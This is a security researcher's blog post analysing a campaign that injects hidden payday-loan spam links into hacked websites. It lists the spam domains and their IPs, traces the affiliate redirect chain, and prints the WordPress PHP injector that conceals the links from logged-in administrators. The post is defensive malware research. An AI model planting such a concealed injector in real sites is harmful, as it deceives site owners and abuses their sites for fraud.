Payday Loan Spam affecting Thousands of Sites

One of the most important metrics used by search engines to rank a site is the number of link backs that it has. The more links a site has for a specific keyword, the higher it will rank when someone searches for it. So if a site has a lot of links back for a keyword (say “loan”), if someone searches for “loan” it will rank very high.

That’s where SPAM SEO (Search Engine Optimization) comes int play. Instead of building content and growing a site to organically receive links back, criminals (yes, anyone that hacks someone’s else site for monetary gain is a criminal) will hack into websites and inject links that will target specific keywords.

Those links will then point to a website controlled by the attacker[s] that they want to have better ranking. Very often those links are conditional (only displayed for search engine bots) and hard to detect without a specialized scanning tool.

Payday Loan Spam

We see all types of SPAM, the most common used to be about pharma products (like Viagra  or Cialis), Cassinos online and pornographic pages. Lately, however, we have started to see a sharp increase in the number of sites injected with payday loan and money borrowing services.

The SPAM in it of itself once displayed is very simple, all it does is add a hidden link to a site to offer loans. Similar to:

<a href="httx://payday-all.co.uk/” title="Pay Day Loans Uk”>pay day loans uk</a>

When Google (or Bing) visits the compromised site it will see the link to payday-all.co.uk and increase the PR (page rank) for payday-all.co.uk. As more sites get infected and linking to payday-all, the better it will rank for keywords like “UK Pay day loan”.

Note that this type of spam is not new and we first blogged about it last year: Website Malware – Sharp Increase in SPAM Attacks – WordPress & Joomla, explaining how they were being hidden inside WordPress sites.

Over the past year, this campaign continues to grow and evolve and their techniques have also matured.

Payday Loan Spam – The domains

Most of the payday spam we are tracking seems to end in one of the following domains (by a company called Cash Advance Online or Pay Day Online):

http://paydayloansyouknow.com.au/ (216.172.52.62)
http://paydayloanstores88paycheck.com/ (216.172.52.62)
http://quickcashnowgjyourself.com/ (216.172.52.64)
http://getin10minpaydayloans.com/ (216.172.52.64)
http://cheappaydayadvancevcadvanc.com (216.172.52.64)
http://cashadvancelocationsndbusiness.com (216.172.52.64)
http://findcashadvancefor.me/ (216.172.52.63)
http://findcashadvancenow4.me/ (216.172.52.64)
http://paydayloanlendersxocomprehensive.com/ (216.172.52.60)
http://personalcashloans64long.com/ (216.172.52.67)
http://loanstillpaydayncwith.com (216.172.52.67)
http://kopainstallmentpaydayloansonline.com (216.172.52.67)
http://ukropinstantloans.com (64.191.79.185)
http://pincashadvance.com (64.191.79.185)
http://perapaydayloansonline.com (64.191.79.185)
http://kopainstallmentpaydayloansonline.com/ (64.191.79.185)
http://loronlinepersonalloans.com/ (50.115.172.170)
http://inapersonalloans.com/ (50.115.172.24)
http://paydayloans10dokp.com/ (109.206.176.120)
http://paydayloans10tilp.com/ (173.214.248.102)
http://paydayloans10ukhw.com/ (173.214.248.100)
http://paydayloansthis.com/ (109.206.176.19)
http://www.payday-hawk.co.uk/ (184.173.197.237)
http://paydayloansfromnowon.com/ (109.206.176.11)
http://cash-loans247.co.uk/ (37.1.209.107)
http://payday-all.co.uk/ (37.1.209.107)

Here are some quick stats on the IPs above:

109.206.176.11	1
109.206.176.120	1
109.206.176.19	1
173.214.248.100	1
173.214.248.102	1
184.173.197.237	1
216.172.52.60	1
216.172.52.62	2
216.172.52.63	1
216.172.52.64	5
216.172.52.67	3
37.1.209.107	2
50.115.172.170	1
50.115.172.24	1
64.191.79.185	4

and

109.206.176	3
173.214.248	2
184.173.197	1
216.172.52	12
37.1.209	2
50.115.172	2
64.191.79	4

Their templates all look the same, they try to convince the user to sign up and register with them to be pre-approved for a loan. This is the common landing page for Cash Advance Online:

Cash spam

And this is the template for Pay Day Online:

Spam cache 2

As you can see, a good and clean designed page trying to convince the user to sign up. What’s scary is the number of sites linked to them. If you do some searches on Google for the specific keywords they use:

“payday loans massachusetts” OR
“payday loan bad credit” OR
“business cash advance loans” OR
“No Fax Payday Loan”

You will find hundreds of thousands of pages linking to them. All from unrelated sites ranging from personal blogs, government sites, forums and universities.

Applying for a loan

After seeing so many sites with this spam, I felt compelled to see if can get a loan. So, I decided to try a few of them to see what would happened.

First, I filled the form that asked for a lot of personal information (Name, Address, email, Social security number, Bank information, etc). All of them denied me and redirected me to altohost.com, which in turn redirected me again to lenditfinancial.com.

http://getin10minpaydayloans.com/apply ->
https://altohost.com/system/thank.you.page/click.php?id=2610 ->
https://www.lenditfinancial.com/newcode/step2.php?referid=T3

Altohost is part of t3leads.com (affiliate marketing/tracking), so it seems the attackers are building this network of spam sites to redirect users to legitimate payment companies that offer affiliate commission (lendit Financial). Always about the money.

Payday Loan Spam – The hiding spot

As we said before, most of the spam is conditional, so a normal user visiting the site won’t see them. Only search engines (like Google or Bing) will see the malicious links added there. In addition to being conditional, the spam is also hidden via javascript. So if you are using a browser with javascript enabled, the spam will not show up.

This is the javascript used to hide the spam (that is also flagged by sitecheck):

SPAM seo push

And the attackers to do not stop there. On a WordPress site, they add the following piece of code (or similar) to inject the spam:

function b_call($b) {
if (!function_exists(“is_user_logged_in”) || is_user_logged_in() || !($m = get_option(“_metaproperty”))) {
return $b;
}
list($m, $n) = unserialize(trim(strrev($m)));
$b = preg_replace(“~<body[^>]*>~”, ‘\0′.”n”. $n .”n”, $b);
$b = str_ireplace(“</head>”, $m.”n</head>”, $b);
return $b;
}
function b_start() {
ob_start(“b_call”);
}
function b_end() {
ob_end_flush();
}
add_action(“wp_head”, “b_start”);
add_action(“wp_footer”, “b_end”);

Which will hide the code from anyone that is logged in (administrators of the site) and only display to the others. The spam content is also hidden inside the _metaproperty option inside the wp_options table.

The code changes at each new cycle of the spam, but the idea is the same. Make it harder for the owner of the site to detect and at the same time display the spam links to search engine bots.

Who is behind

It is very hard to point a specific organization or person responsible for those spam injections. The whois from all the domains is hidden and they seem to use quite a range of IP addresses. From our tests, they are pointing to affiliate links to try to make commission money from legitimate companies. So the only real way to track them is going after the legitimate lending companies and track who they are paying the money to.

About Daniel Cid

Daniel B. Cid is the Founder & CTO of Sucuri and also the founder of the open source project - OSSEC HIDS. His interests range from intrusion detection, log analysis (log-based intrusion detection), web-based malware research and secure development. You can find more about Daniel on his site dcid.me or on Twitter: @danielcid

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